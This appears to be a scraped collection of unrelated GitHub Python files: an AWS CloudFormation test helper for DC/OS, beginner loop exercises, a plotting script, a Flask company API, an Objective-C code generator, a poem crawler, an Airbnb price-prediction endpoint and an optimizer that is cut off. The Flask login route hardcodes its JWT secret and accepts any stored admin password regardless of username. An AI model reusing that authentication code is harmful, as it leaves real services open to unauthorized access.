UPDATE_ROLLBACK_COMPLETE_CLEANUP_IN_PROGRESS\n \"\"\"\n log.info('Waiting for status to change from {} to {}'.format(state_1, state_2))\n log.info('Sleeping for {} minutes before polling'.format(wait_before_poll_min))\n time.sleep(60 * wait_before_poll_min)\n\n @retrying.retry(wait_fixed=10 * 1000,\n stop_max_delay=timeout * 1000,\n retry_on_result=lambda res: res is False,\n retry_on_exception=lambda ex: False)\n def wait_loop():\n stack_details = self.get_stack_details()\n stack_status = stack_details['StackStatus']\n if stack_status == state_2:\n return True\n if stack_status != state_1:\n log.error('Stack Details: {}'.format(stack_details))\n for event in self.get_stack_events():\n log.error('Stack Events: {}'.format(event))\n raise Exception('StackStatus changed unexpectedly to: {}'.format(stack_status))\n return False\n wait_loop()\n\n @retry_boto_rate_limits\n def get_stack_details(self):\n log.debug('Requesting stack details')\n return self.boto_wrapper.client('cloudformation').describe_stacks(\n StackName=self.stack.stack_id)['Stacks'][0]\n\n @retry_boto_rate_limits\n def get_stack_events(self):\n log.debug('Requesting stack events')\n return self.boto_wrapper.client('cloudformation').describe_stack_events(\n StackName=self.stack.stack_id)['StackEvents']\n\n def wait_for_stack_creation(self, wait_before_poll_min=3):\n self.wait_for_status_change('CREATE_IN_PROGRESS', 'CREATE_COMPLETE', wait_before_poll_min)\n\n def wait_for_stack_deletion(self, wait_before_poll_min=3):\n self.wait_for_status_change('DELETE_IN_PROGRESS', 'DELETE_COMPLETE', wait_before_poll_min)\n\n def get_parameter(self, param):\n \"\"\"Returns param if in stack parameters, else returns None\n \"\"\"\n for p in self.stack.parameters:\n if p['ParameterKey'] == param:\n return p['ParameterValue']\n raise KeyError('Key not found in template parameters: {}. Parameters: {}'.\n format(param, self.stack.parameters))\n\n @retry_boto_rate_limits\n def get_auto_scaling_instances(self, logical_id):\n \"\"\" Get instances in ASG with logical_id. If logical_id is None, all ASGs will be used\n Will return instance objects as describd here:\n http://boto3.readthedocs.io/en/latest/reference/services/ec2.html#instance\n\n Note: there is no ASG resource hence the need for this method\n \"\"\"\n ec2 = self.boto_wrapper.resource('ec2')\n return [ec2.Instance(i['InstanceId']) for asg in self.boto_wrapper.client('autoscaling').\n describe_auto_scaling_groups(\n AutoScalingGroupNames=[self.stack.Resource(logical_id).physical_resource_id])\n ['AutoScalingGroups'] for i in asg['Instances']]\n\n def get_hosts_cached(self, group_name, refresh=False):\n if refresh or group_name not in self._host_cache:\n host_list = instances_to_hosts(self.get_auto_scaling_instances(group_name))\n self._host_cache[group_name] = host_list\n return host_list\n return self._host_cache[group_name]\n\n\nclass DcosCfSimple(CfStack):\n @classmethod\n def create(cls, stack_name, template_url, public_agents, private_agents,\n admin_location, key_pair_name, boto_wrapper):\n parameters = {\n 'KeyName': key_pair_name,\n 'AdminLocation': admin_location,\n 'PublicSlaveInstanceCount': str(public_agents),\n 'SlaveInstanceCount': str(private_agents)}\n stack = boto_wrapper.create_stack(stack_name, template_url, parameters)\n # Use stack_name as the binding identifier. At time of implementation,\n # stack.stack_name returns stack_id if Stack was created with ID\n return cls(stack.stack.stack_name, boto_wrapper), SSH_INFO['coreos']\n\n def delete(self):\n log.info('Starting deletion of CF stack')\n # boto stacks become unusable after deletion (e.g. status/info checks) if name-based\n self.stack = self.boto_wrapper.resource('cloudformation').Stack(self.stack.stack_id)\n self.stack.delete()\n self.empty_and_delete_s3_bucket_from_stack()\n\n def empty_and_delete_s3_bucket_from_stack(self):\n bucket_id = self.stack.Resource('ExhibitorS3Bucket').physical_resource_id\n s3 = self.boto_wrapper.resource('s3')\n bucket = s3.Bucket(bucket_id)\n log.info('Starting bucket {} deletion'.format(bucket))\n all_objects = bucket.objects.all()\n obj_count = len(list(all_objects))\n if obj_count > 0:\n assert obj_count == 1, 'Expected one object in Exhibitor S3 bucket but found: ' + str(obj_count)\n exhibitor_object = list(all_objects)[0]\n log.info('Trying to delete object from bucket: {}'.format(repr(exhibitor_object)))\n exhibitor_object.delete()\n log.info('Trying deleting bucket {} itself'.format(bucket))\n bucket.delete()\n log.info('Delete successfully triggered for {}'.format(self.stack.stack_name))\n\n def get_master_ips(self, refresh=False):\n return self.get_hosts_cached('MasterServerGroup', refresh=refresh)\n\n def get_public_agent_ips(self, refresh=False):\n return self.get_hosts_cached('PublicSlaveServerGroup', refresh=refresh)\n\n def get_private_agent_ips(self, refresh=False):\n return self.get_hosts_cached('SlaveServerGroup', refresh=refresh)\n\n\nclass DcosCfAdvanced(CfStack):\n @classmethod\n def create(cls, stack_name, boto_wrapper, template_url,\n public_agents, private_agents, key_pair_name,\n private_agent_type, public_agent_type, master_type,\n vpc_cidr='10.0.0.0/16', public_subnet_cidr='10.0.128.0/20',\n private_subnet_cidr='10.0.0.0/17',\n gateway=None, vpc=None, private_subnet=None, public_subnet=None):\n ec2 = boto_wrapper.client('ec2')\n if not vpc:\n log.info('Creating new VPC...')\n vpc = ec2.create_vpc(CidrBlock=vpc_cidr, InstanceTenancy='default')['Vpc']['VpcId']\n ec2.get_waiter('vpc_available').wait(VpcIds=[vpc])\n ec2.create_tags(Resources=[vpc], Tags=[{'Key': 'Name', 'Value': stack_name}])\n log.info('Using VPC with ID: ' + vpc)\n\n if not gateway:\n log.info('Creating new InternetGateway...')\n gateway = ec2.create_internet_gateway()['InternetGateway']['InternetGatewayId']\n ec2.attach_internet_gateway(InternetGatewayId=gateway, VpcId=vpc)\n ec2.create_tags(Resources=[gateway], Tags=[{'Key': 'Name', 'Value': stack_name}])\n log.info('Using InternetGateway with ID: ' + gateway)\n\n if not private_subnet:\n log.info('Creating new PrivateSubnet...')\n private_subnet = ec2.create_subnet(VpcId=vpc, CidrBlock=private_subnet_cidr)['Subnet']['SubnetId']\n ec2.create_tags(Resources=[private_subnet], Tags=[{'Key': 'Name', 'Value': stack_name + '-private'}])\n ec2.get_waiter('subnet_available').wait(SubnetIds=[private_subnet])\n log.info('Using PrivateSubnet with ID: ' + private_subnet)\n\n if not public_subnet:\n log.info('Creating new PublicSubnet...')\n public_subnet = ec2.create_subnet(VpcId=vpc, CidrBlock=public_subnet_cidr)['Subnet']['SubnetId']\n ec2.create_tags(Resources=[public_subnet], Tags=[{'Key': 'Name', 'Value': stack_name + '-public'}])\n ec2.get_waiter('subnet_available').wait(SubnetIds=[public_subnet])\n log.info('Using PublicSubnet with ID: ' + public_subnet)\n\n parameters = {\n 'KeyName': key_pair_name,\n 'Vpc': vpc,\n 'InternetGateway': gateway,\n 'MasterInstanceType': master_type,\n 'PublicAgentInstanceCount': str(public_agents),\n 'PublicAgentInstanceType': public_agent_type,\n 'PublicSubnet': public_subnet,\n 'PrivateAgentInstanceCount': str(private_agents),\n 'PrivateAgentInstanceType': private_agent_type,\n 'PrivateSubnet': private_subnet}\n stack = boto_wrapper.create_stack(stack_name, template_url, parameters)\n try:\n os_string = template_url.split('/')[-1].split('.')[-2].split('-')[0]\n ssh_info = CF_OS_SSH_INFO[os_string]\n except (KeyError, IndexError):\n log.exception('Unexpected template URL: {}'.format(template_url))\n if os_string:\n log.exception('No SSH info for OS string: {}'.format(os_string))\n raise\n return cls(stack.stack.stack_name, boto_wrapper), ssh_info\n\n def delete(self, delete_vpc=False):\n log.info('Starting deletion of CF Advanced stack')\n vpc_id = self.get_parameter('Vpc')\n # boto stacks become unusable after deletion (e.g. status/info checks) if name-based\n self.stack = self.boto_wrapper.resource('cloudformation').Stack(self.stack.stack_id)\n log.info('Deleting Infrastructure Stack')\n infrastack = DcosCfSimple(self.get_resource_stack('Infrastructure').stack.stack_id, self.boto_wrapper)\n infrastack.delete()\n log.info('Deleting Master Stack')\n self.get_resource_stack('MasterStack').stack.delete()\n log.info('Deleting Private Agent Stack')\n self.get_resource_stack('PrivateAgentStack').stack.delete()\n log.info('Deleting Public Agent Stack')\n self.get_resource_stack('PublicAgentStack').stack.delete()\n self.stack.delete()\n if delete_vpc:\n self.wait_for_stack_deletion()\n self.boto_wrapper.resource('ec2').Vpc(vpc_id).delete()\n\n def get_master_ips(self, refresh=False):\n return self.get_resource_stack('MasterStack').get_hosts_cached('MasterServerGroup', refresh=refresh)\n\n def get_private_agent_ips(self, refresh=False):\n return self.get_resource_stack('PrivateAgentStack').get_hosts_cached('PrivateAgentServerGroup', refresh=refresh)\n\n def get_public_agent_ips(self, refresh=False):\n return self.get_resource_stack('PublicAgentStack').get_hosts_cached('PublicAgentServerGroup', refresh=refresh)\n\n def get_resource_stack(self, resource_name):\n \"\"\"Returns a CfStack for a given resource\n \"\"\"\n return CfStack(self.stack.Resource(resource_name).physical_resource_id, self.boto_wrapper)\n\n\nclass VpcCfStack(CfStack):\n @classmethod\n def create(cls, stack_name, instance_type, instance_os, instance_count,\n admin_location, key_pair_name, boto_wrapper):\n ami_code = OS_AMIS[instance_os][boto_wrapper.region]\n template_url = template_by_instance_type(instance_type)\n parameters = {\n 'KeyPair': key_pair_name,\n 'AllowAccessFrom': admin_location,\n 'ClusterSize': str(instance_count),\n 'InstanceType': str(instance_type),\n 'AmiCode': ami_code}\n stack = boto_wrapper.create_stack(stack_name, template_url, parameters)\n return cls(stack.stack.stack_name, boto_wrapper), OS_SSH_INFO[instance_os]\n\n def delete(self):\n # boto stacks become unusable after deletion (e.g. status/info checks) if name-based\n self.stack = self.boto_wrapper.resource('cloudformation').Stack(self.stack.stack_id)\n self.stack.delete()\n\n def get_vpc_host_ips(self):\n # the vpc templates use the misleading name CentOSServerAutoScale for all deployments\n # https://mesosphere.atlassian.net/browse/DCOS-11534\n return self.get_hosts_cached('CentOSServerAutoScale')\n\n\nSSH_INFO = {\n 'centos': SshInfo(\n user='centos',\n home_dir='/home/centos',\n ),\n 'coreos': SshInfo(\n user='core',\n home_dir='/home/core',\n ),\n 'debian': SshInfo(\n user='admin',\n home_dir='/home/admin',\n ),\n 'rhel': SshInfo(\n user='ec2-user',\n home_dir='/home/ec2-user',\n ),\n 'ubuntu': SshInfo(\n user='ubuntu',\n home_dir='/home/ubuntu',\n ),\n}\n\n\nOS_SSH_INFO = {\n 'cent-os-7': SSH_INFO['centos'],\n 'cent-os-7-dcos-prereqs': SSH_INFO['centos'],\n 'coreos': SSH_INFO['coreos'],\n 'debian-8': SSH_INFO['debian'],\n 'rhel-7': SSH_INFO['rhel'],\n 'ubuntu-16-04': SSH_INFO['ubuntu'],\n}\n\nCF_OS_SSH_INFO = {\n 'el7': SSH_INFO['centos'],\n 'coreos': SSH_INFO['coreos']\n}\n\n\nOS_AMIS = {\n 'cent-os-7': {'ap-northeast-1': 'ami-965345f8',\n 'ap-southeast-1': 'ami-332de750',\n 'ap-southeast-2': 'ami-c80320ab',\n 'eu-central-1': 'ami-1548ae7a',\n 'eu-west-1': 'ami-2ea92f5d',\n 'sa-east-1': 'ami-2921ad45',\n 'us-east-1': 'ami-fa9b9390',\n 'us-west-1': 'ami-12b3ce72',\n 'us-west-2': 'ami-edf11b8d'},\n 'cent-os-7-dcos-prereqs': {'ap-northeast-1': 'ami-965345f8',\n 'ap-southeast-1': 'ami-332de750',\n 'ap-southeast-2': 'ami-c80320ab',\n 'eu-central-1': 'ami-1548ae7a',\n 'eu-west-1': 'ami-2ea92f5d',\n 'sa-east-1': 'ami-2921ad45',\n 'us-east-1': 'ami-fa9b9390',\n 'us-west-1': 'ami-12b3ce72',\n 'us-west-2': 'ami-edf11b8d'},\n 'coreos': {'ap-northeast-1': 'ami-84e0c7ea',\n 'ap-southeast-1': 'ami-84e0c7ea',\n 'ap-southeast-2': 'ami-f35b0590',\n 'eu-central-1': 'ami-fdd4c791',\n 'eu-west-1': 'ami-55d20b26',\n 'sa-east-1': 'ami-f35b0590',\n 'us-east-1': 'ami-37bdc15d',\n 'us-west-1': 'ami-27553a47',\n 'us-west-2': 'ami-00ebfc61'},\n 'debian-8': {'ap-northeast-1': 'ami-fe54f3fe',\n 'ap-southeast-1': 'ami-60989c32',\n 'ap-southeast-2': 'ami-07e3993d',\n 'eu-central-1': 'ami-b092aaad',\n 'eu-west-1': 'ami-0ed89d79',\n 'sa-east-1': 'ami-a5bd3fb8',\n 'us-east-1': 'ami-8b9a63e0',\n 'us-west-1': 'ami-a5d621e1',\n 'us-west-2': 'ami-3d56520d'},\n 'rhel-7': {'ap-northeast-1': 'ami-35556534',\n 'ap-southeast-1': 'ami-941031c6',\n 'ap-southeast-2': 'ami-83e08db9',\n 'eu-central-1': 'ami-e25e6cff',\n 'eu-west-1': 'ami-8cff51fb',\n 'sa-east-1': 'ami-595ce844',\n 'us-east-1': 'ami-a8d369c0',\n 'us-west-1': 'ami-33cdd876',\n 'us-west-2': 'ami-99bef1a9'},\n 'ubuntu-16-04': {'ap-northeast-1': 'ami-0919cd68',\n 'ap-southeast-1': 'ami-42934921',\n 'ap-southeast-2': 'ami-623c0d01',\n 'eu-central-1': 'ami-a9a557c6',\n 'eu-west-1': 'ami-643d4217',\n 'sa-east-1': 'ami-60bd2d0c',\n 'us-east-1': 'ami-2ef48339',\n 'us-west-1': 'ami-a9a8e4c9',\n 'us-west-2': 'ami-746aba14'}\n}\n","repo_name":"samchiang/DC-OS","sub_path":"test_util/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":18673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23683920594","text":"# repeat loops and lists\n'''\n# write a message on the screen 4 times \nfor palavra in range(1,4):\n print('carregando')\n \n'''\n\n'''\n# range(1,20) vai de 1 a 19\nfor item in range(1,20):\n print('billy')\n'''\n\n'''\n# range (2,12,2) vai de 2 a 10 de dois em dois, 2-4-6-8-10\nfor item in range(2,12,2):\n print(item)\n '''\n\n\n'''\n #write a program that write the users name and age the same amount of times as the age of the user. (random ideas)\n \nnome_pessoa = input('Your name:')\nidade = input('Your age?')\nfor item in range(1,int(idade)):\n print(idade)\nfor item in range(1,int(idade)):\n print(nome_pessoa)\n'''\n\n'''\n#write a names list\nnames = ['Joao','Jose','Maria','Conceicao']\nfor names in names:\n print(names)\n# escreva um programa que recebe uma lista de nomes e printa eles na tela\nnames = input('Escreva os nomes seguido de espaco')\nfor item in names:\n print(names)\n'''\n\n# Print values from 1 to N (n being the variable input by the user)\nuser_value = int(input('Insert a number: '))\nstart_value = 1\nuser_value = user_value + 1\nfor start_value in range(start_value,user_value):\n print(start_value)","repo_name":"gustavosrios/Studies.beginner","sub_path":"printobjects.py","file_name":"printobjects.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20690268096","text":"#!/usr/bin/env python \n\nimport sys\n\nimport numpy\nimport pylab\n#import matplotlib\n#YLIM = 2\nYLIM = None\n\ntry:\n if sys.argv[2] != None:\n only_slips = True\nexcept:\n only_slips = False\n\nfilename = sys.argv[1]\n\ndata = open(filename).readlines()\nheaders = data[0][1:].split('\\t')\ndata = numpy.loadtxt(filename)\n\nnum_rows, num_columns = data.shape\nseconds = data[:,0]\n#print num_columns\n\npylab.figure()\nfor i in range(1,num_columns):\n if only_slips:\n if i != 5:\n continue\n column = data[:,i]\n #color = matplotlib.cm.jet((num_columns-float(i)) / (num_columns-1))\n pylab.plot(seconds, column,\n '.-',\n #color=color,\n label=headers[i])\n\nif YLIM is not None:\n pylab.ylim([-YLIM,YLIM])\npylab.legend(loc=2)\npylab.title(filename)\npylab.show()\n\n\n\n","repo_name":"gperciva/artifastring","sub_path":"research/visualize_string_debug.py","file_name":"visualize_string_debug.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"52"} +{"seq_id":"5136588655","text":"from decorators import api_company_req, api_sensor_req, token_required\nimport os, jwt, bcrypt, datetime, logging, json\nfrom flask import Flask, Blueprint, request, jsonify, g, session, make_response\nfrom functools import wraps\nfrom app import app\nfrom Connect import connection\nfrom flask_cors import CORS, cross_origin\nfrom uuid import uuid4\n# make route to insert in company table with protected route in token_required\nCORS(app)\n\n@app.route(\"/create_company\", methods=[\"POST\"])\n@token_required\ndef insert_company(current_user):\n company_name = request.json['company_name']\n # insert data in the company table\n # token = request.headers.get('x-access-tokens')\n # hay que usar el token del usuario para api_key\n company_api_key = str(uuid4())\n \n conn = connection()\n \n # requerir company_name\n if not company_name:\n return jsonify({\"message\": \"company_name is required\"}), 400\n \n if conn.execute(\"SELECT * FROM Company WHERE company_name = ?\", (company_name,)).fetchone() is not None:\n return jsonify({\"message\": \"Company already exists\"}), 400\n \n if conn.execute(\"SELECT * FROM Company WHERE company_api_key = ?\", (company_api_key,)).fetchone() is not None:\n return jsonify({\"message\": \"Company already exists\"}), 400\n \n sql = \"INSERT INTO Company (company_name, company_api_key) VALUES (?, ?)\"\n conn.execute(sql, (company_name, company_api_key))\n conn.commit()\n conn.close()\n return jsonify({\n \"company_name\": company_name,\n \"company_api_key\": company_api_key\n })\n\n\n@app.route(\"/get_company\", methods=[\"GET\"])\ndef get_company():\n # get all data from company table\n sql = \"SELECT * FROM Company\"\n conn = connection()\n rv = conn.execute(sql)\n rows = rv.fetchall()\n conn.close()\n Companies = []\n for i in rows:\n get_Admin = {}\n get_Admin[\"ID\"] = i[\"ID\"]\n get_Admin[\"company_name\"] = i[\"company_name\"]\n get_Admin[\"company_api_key\"] = i[\"company_api_key\"]\n Companies.append(get_Admin)\n return jsonify(Companies)\n\n\n@app.route(\"/login_company\", methods=[\"POST\"])\ndef login_company():\n # auth from the body of the request\n auth = request.authorization\n if not auth or not auth.username or not auth.password:\n return make_response('could not verify', 401, {'WWW.Authentication': 'Basic realm: \"login required\"'})\n \n sql = \"SELECT * FROM Admin\"\n conn = connection()\n rv = conn.execute(sql)\n rows = rv.fetchall()\n conn.close()\n for i in rows:\n user = i \n if user[\"Password\"] == auth.password: \n token = jwt.encode({'user': user[\"Username\"]}, \"un_secreto\", algorithm='HS256') \n return jsonify({'token' : token}) \n \n return make_response('could not verify', 401, {'WWW.Authentication': 'Basic realm: \"login required\"'})\n\n\n@app.route(\"/protected2\", methods=[\"GET\"])\n@token_required\ndef protected2(current_user):\n return jsonify({\"message\":f\"Hello {current_user['username']}\"})\n","repo_name":"Joacker/T3-Arquitecturas-Emergentes","sub_path":"app/company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70896795684","text":"# -*- coding: UTF-8 -*-\n# Objective-C 语法定义\n\nimport random\nimport math\n\n# 超类UIButton\nSUPERS = ('NSObject', 'UIViewController', 'UINavigationController',\n 'UIView', 'UIImageView', 'UIScrollView', 'UIWindow',\n 'UITextField', 'UIButton', 'UILabel', 'UIImage',\n 'UIPanGestureRecognizer', 'UITapGestureRecognizer', 'UIColor',\n 'CAAnimationGroup', 'CAShapeLayer')\n# 换行符号\nSN = '\\r\\n'\n# 缩进符号\ndef ST(indent=0):\n if (indent == 0):\n return ''\n t = ''\n for i in range(indent):\n t += '\\t'\n return t\n\n# OC语句树\nclass JOcLineTree:\n def __init__(self, mMethod):\n self.mMethod = mMethod #所属函数\n self.statements = [] #语句块\n\n # 字符串化\n def toString(self, indent = 0):\n s = ''\n for b in self.statements:\n if (isinstance(b, JOcLineTree)):\n s += b.toString(indent + 1)\n else:\n s += ST(indent) + b + SN\n return s\n\n\n# OC函数\nclass JOcMethod:\n def __init__(self, mClass):\n self.mClass = mClass # 属类\n self.scope = None # 类函数或对象函数 ('+', '-')\n self.ret = None # 返回数据类型 (NSString*, NSInteger, int, short, long)\n self.messages = [] # 指令元组\n self.argTypes = None # 参数类型数组\n self.argNames = None # 参数名称数组\n self.lineTree = None # 语句树 (JOcLineTree)\n self.variables = None # 局部变量列表\n\n # 函数定义复制\n def copyDef(self, tClass=None):\n meth = JOcMethod(tClass)\n meth.scope = self.scope\n meth.ret = self.ret\n meth.messages = self.messages[:]\n if (self.argTypes is not None):\n meth.argTypes = self.argTypes[:]\n if (self.argNames is not None):\n meth.argNames = self.argNames[:]\n return meth\n\n # 声明字符串化\n def toStringInterface(self, indent=0):\n # header\n s = self.scope + ' (' + self.ret + ') '\n # selector\n l = self.messages.__len__()\n for i in range(l):\n s += self.messages[i]\n if (self.argTypes is not None):\n s += ':(' + self.argTypes[i] + ')' + self.argNames[i]\n s += ' '\n return s\n\n # 实现字符串化\n def toStringImplement(self, indent=0):\n s = self.toStringInterface(indent)\n # logic\n s += '{' + SN\n # varialbe\n var_map = self.variables\n if (var_map is not None) and (len(var_map) > 0):\n for n in var_map:\n v = var_map[n]\n s += ST(indent + 1) + v[0] + ' ' + n\n if (v[1] is None):\n s += ';' + SN\n else:\n s += ' = ' + str(v[1]) + ';' + SN\n if (self.lineTree is not None):\n s += self.lineTree.toString(indent + 1)\n s += '}' + SN\n return s\n\n# OC类\nclass JOcClass:\n def __init__(self, className, baseClass=None, protocol=None):\n self.baseClass = baseClass # 父类\n self.protocol = protocol # 接口\n self.className = className # 类名\n self.imports = None # 导入头文件\n self.variables = None # 变量元组\n self.methods = None # 函数数组\n self.fileSuffix = '.m' # 文件后缀(.m, .mm),默认是:.m\n\n # # 设置接口\n # def __setProtocol(self, protocol):\n # if (self.methods is None):\n # self.methods = []\n # functions = protocol.requireds\n # if (functions is not None):\n # for meth in functions:\n # self.methods.append( meth.copyDef(self.mClass) )\n # functions = protocol.optionals\n # if (functions is not None):\n # for meth in functions:\n # self.methods.append( meth.copyDef(self.mClass) )\n\n # 头文件串化\n def toStringInterface(self, indent=0):\n s = ''\n # header\n s += ST(indent) + '@interface' + ' ' + self.className + ' : '\n # super class\n if (self.baseClass is not None):\n s += self.baseClass\n else:\n s += SUPERS[int(math.pow(random.random(), 3) * len(SUPERS))]\n # protocol\n if (self.protocol is not None):\n s += ' ' + '<' + self.protocol + '>' + SN\n else:\n s += SN\n # method\n s += SN\n if (self.methods is not None):\n for m in self.methods:\n s += ST(indent) + m.toStringInterface(indent) + ';' + SN + SN\n s += ST(indent) + '@end'\n return s\n\n # 实现文件串化\n def toStringImplement(self, indent=0):\n s = ''\n # import\n s += ST(indent) + '#import \"' + self.className + '.h\"' + SN\n if (self.imports is not None):\n for head in self.imports:\n if head.startswith('<') and head.endswith('>'):\n s += ST(indent) + '#import ' + head + SN\n else:\n s += ST(indent) + '#import \"' + head + '\"' + SN\n s += SN\n # header\n s += ST(indent) + '@implementation' + ' ' + self.className\n # varialbe\n var_map = self.variables\n if (var_map is not None) and (len(var_map) > 0):\n s += ' ' + '{' + SN\n for n in var_map:\n t = var_map[n]\n s += ST(indent + 1) + t[0] + ' ' + n + ';' + SN\n # if (t[1] is None):\n # s += ';' + SN\n # else:\n # s += ' = ' + str(t[1]) + ';' + SN\n s += ST(indent) + '}' + SN\n else:\n s += SN\n # method\n s += SN\n if (self.methods is not None):\n for m in self.methods:\n s += ST(indent) + m.toStringImplement(indent) + SN + SN\n s += ST(indent) + '@end'\n return s\n\n\n# OC接口\n# class JOcProtocol:\n# def __init__(self):\n# self.protocolName = None # 接口名称\n# self.imports = None # 导入头文件\n# self.requireds = None # 必须的函数数组\n# self.optionals = None # 可选的函数数组\n#\n# # 字符串化\n# def toString(self, indent = 0):\n# s = ''\n# # import\n# if (self.imports is not None):\n# for head in self.imports:\n# s += ST(indent) + head + SN\n# # class name\n# s += SN\n# s += ST(indent) + '@protocol' + ' ' + self.protocolName + SN\n# # interface\n# if (self.requireds is not None):\n# s += ST(indent) + '@required' + SN\n# for meth in self.requireds:\n# s += ST(indent) + meth.toStringInterface() + ';' + SN + SN\n# if (self.optionals is not None):\n# s += ST(indent) + '@optional' + SN\n# for meth in self.optionals:\n# s += ST(indent) + meth.toStringInterface() + ';' + SN + SN\n# s += ST(indent) + '@end'\n# return s","repo_name":"JoliChen/py-tool","sub_path":"easy1/XcHelper/garbages/source/oc/OCGrammar.py","file_name":"OCGrammar.py","file_ext":"py","file_size_in_byte":7015,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"15948691086","text":"from bs4 import BeautifulSoup\nfrom urllib import request\nimport time\nfrom Poem import Poem\n\nclass PoemsCrawler():\n\n def __init__(self, url):\n self.url = url\n self.poem_urls = []\n self.poems_list = []\n\n def generateUrls(self):\n while (True):\n with request.urlopen(self.url) as response:\n pageSoup = BeautifulSoup(response.read(), 'html.parser')\n table_of_poems = pageSoup.find('table', attrs={'class': 'List'}) # Now I found the aimed table\n for tr in table_of_poems.find_all('tr'): # Now I should extract all urls pointed to peoms\n for td in tr.findAll('td'):\n self.poem_urls.append('http://www.chinapoesy.com/' + td.find('a').get('href')) # save all urls\n break\n print(\"Connection error came again, maybe you need to wait for 15s \")\n time.sleep(15) # if error merges, sleep, and access again\n\n def collectPoems(self):\n self.poem_urls.reverse()\n while(len(self.poem_urls) > 0):\n url = self.poem_urls.pop()\n with request.urlopen(url) as response:\n pageSoup = BeautifulSoup(response.read(), 'html.parser')\n\n # Extract poem's title\n head = pageSoup.find('title')\n head = head.text.strip().split('_')\n title = re.sub(r\"\\r\\n\", \"\", head[0]) # newline char may embed in title\n author = head[1][:-2] # exclude last two words\n # Extract poem's body\n script_tags = pageSoup.findAll('script', {'type': 'text/javascript'})\n body = script_tags[9].find_next('p')\n if len(body.text) < 20:\n body = script_tags[9].find_next('div')\n body = body.text # you shuld remove title and author\n self.poems_list.append(Poem(title, author, body))\n print(title, author)\n continue\n print(\"Connection error came again, maybe you need to wait for 15s \")\n time.sleep(15)\n self.poem_urls.append(url)\n'''\ndef test():\n pc = PoemsCrawler('http://www.chinapoesy.com/XianDaiList_1.html');\n pc.generateUrls()\n pc.collectPoems()\n for poem in pc.poems_list:\n print(poem.author)\n\ntest()\n'''","repo_name":"chibinjiang/PoetryRecommender","sub_path":"app/DataCollector/PoemsCrawler.py","file_name":"PoemsCrawler.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70064287846","text":"import pandas as pd\nimport numpy as np\nimport xgboost as xgb\nfrom flask import Flask, jsonify, request\nimport pickle\n\n# model\nmodel = pickle.load(open('model.pkl','rb'))\n\napp = Flask(__name__)\n\n@app.route('/', methods=['POST'])\n\ndef make_predict():\n #get data\n data = request.get_json(force=True)\n\n predict_request = [data['neighborhood'],\n data['room_type'],\n data['accommodates'],\n data['bedrooms'],\n data['number_of_reviews'],\n data['wifi'],\n data['cable_tv'],\n data['washer'],\n data['kitchen']]\n\n data.update((x, [y]) for x, y in data.items())\n data_df = pd.DataFrame.from_dict(data)\n\n # preds\n y_hat = model.predict(data_df) # this works for xgb\n\n # send back to browser\n output = {'y_hat': int(y_hat[0])}\n\n # return data\n return jsonify(results=output)\n\nif __name__ == '__main__':\n app.run(port = 9000, debug=True)\n\n","repo_name":"elizabethts/airbnb-optimize","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18836126421","text":"n=int(input())\na=list(map(int,input().split()))\nlow=0\nhigh=n-1\nwhile(low<=high):\n if(a[low]<0):\n low=low+1\n else:\n a[low],a[high]=a[high],a[low]\n high=high-1\nprint(a)","repo_name":"Tejas1510/Love-Babbar-Sheet","sub_path":"Array/moveAllNegativeLeft.py","file_name":"moveAllNegativeLeft.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"73796804645","text":"# 클래스 변수 ( static ? ) - Class 내 반드시 선언이 필요하다 ( ClassName.VarName )\n\n\nclass UserInfo:\n \"\"\"\n UserInfo Class\n Author : 홍길동\n Date : 2022-05-26\n Description : 클래스 작성법\n \"\"\"\n\n user_cnt = 0\n def __init__(self, author, date, description):\n self.author = author\n self.date = date\n self.description = description\n # Class 변수 ( Static ) : CLass 내 변수가 없는경우 에러 발생 ( AttributeError: type object 'UserInfo' has no attribute 'user_cnt' )\n UserInfo.user_cnt += 1\n\n def __str__(self):\n return \"Author : {}, Date : {}, Description : {}\".format(\n self.author, self.date, self.description\n )\n\n def __del__(self): # 객체 삭제 시 호출되는 메소드\n UserInfo.user_cnt -= 1\n\n\nuser1 = UserInfo(\"홍길동\", \"2022-05-26\", \"클래스 작성법\")\nprint(user1)\nuser2 = UserInfo(\"성춘향\", \"2022-03-23\", \"클래스 사용법\")\nprint(user2)\n\nprint(\"현재 생성된 User {} 명\".format(UserInfo.user_cnt))\n\ndel user1 # __del__ 호출 \n# print(user1) # NameError: name 'user1' is not defined. Did you mean: 'user2'?\nprint(user2)\nprint(\"현재 생성된 User {} 명\".format(UserInfo.user_cnt))\n","repo_name":"ycr5007/SolDesk","sub_path":"PythonSource/class/class3.py","file_name":"class3.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16858755841","text":"import time\nimport json\nimport numpy as np\n\n\nclass ASGF:\n \"\"\"Adaptive Stochastic Gradient-Free algorithm\"\"\"\n\n def __init__(self, s0=None, s_rate=.9, s_min=1e-03, s_max=1e+03,\\\n m_min=5, m_max=25, qtol=.1, quad_rule='gh',\\\n L_lmb=.9, lr_min=1e-03, lr_max=1e+03,\\\n A_grad=.1, A_dec=.95, A_inc=1.02,\\\n B_grad=.9, B_dec=.98, B_inc=1.01,\\\n restart=False, num_res=2, res_mlt=10, res_div=10, fun_req=-np.inf,\\\n xtol=1e-06, maxiter=1000):\n '''initialize class variables'''\n self.s0 = s0\n self.s_rate = s_rate\n self._s_min, self._s_max = s_min, s_max\n self.m_min, self.m_max = m_min, m_max\n self.qtol, self.quad_rule = 